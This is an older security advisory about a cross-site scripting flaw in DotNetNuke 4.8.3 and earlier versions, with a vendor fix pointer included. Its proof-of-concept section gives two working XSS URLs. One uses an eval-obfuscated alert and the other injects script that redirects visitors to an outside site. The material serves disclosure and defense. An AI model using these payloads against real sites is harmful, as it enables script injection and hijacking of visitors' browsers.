|
########################## www.BugReport.ir #######################################=0D
#=0D
# AmnPardaz Security Research Team=0D
#=0D
# Title: Dot Net Nuke (DNN) XSS Vulnerability.=0D
# Vendor: www.dotnetnuke.com=0D
# Vulnerable Version: 4.8.3 and prior versions=0D
# Exploit: N/A=0D
# Impact: Low=0D
# Fix: N/A=0D
# Original Advisory: http://bugreport.ir/index.php?/38=0D
###################################################################################=0D
=0D
####################=0D
1. Description:=0D
####################=0D
DotNetNuke is an open source web application framework ideal for creating, deploying and managing interactive web, intranet and extranet sites.=0D
=0D
####################=0D
2. Vulnerability:=0D
####################=0D
XSS in "Default.aspx", by using "/" after the ".aspx" file. We must use another ".aspx" string, before "?" or at end of the URL.=0D
In fact, "PATH_INFO" in ServerVariables can manipulate by an attacker by entering "/" after the ".aspx" files. So, using "URL" is better than "PATH_INFO".=0D
=0D
####################=0D
3. PoC:=0D
####################=0D
- Alert by XSS=0D
http://[DNN URL]/Default.aspx/"onmouseover="x='al';x=x+'ert(/Soroush Dalili From WWW.BugReport.IR/)';eval(x);alert().aspx=0D
=0D
- Redirect by XSS (We must use a "?" because of using ":" in "HTTP://")=0D
http://[DNN URL]/Default.aspx/bugreport/"onmouseover="var a='.aspx?';document.location='http://www.bugreport.ir/?archive';=0D
=0D
####################=0D
4. Solution:=0D
####################=0D
Check the vendor hotfix and use URLScan (http://www.microsoft.com/technet/security/tools/urlscan.mspx).=0D
=0D
####################=0D
5. Credit :=0D
####################=0D
AmnPardaz Security Research & Penetration Testing Group=0D
Contact: admin[4t}bugreport{d0t]ir=0D
WwW.BugReport.ir=0D
WwW.AmnPardaz.com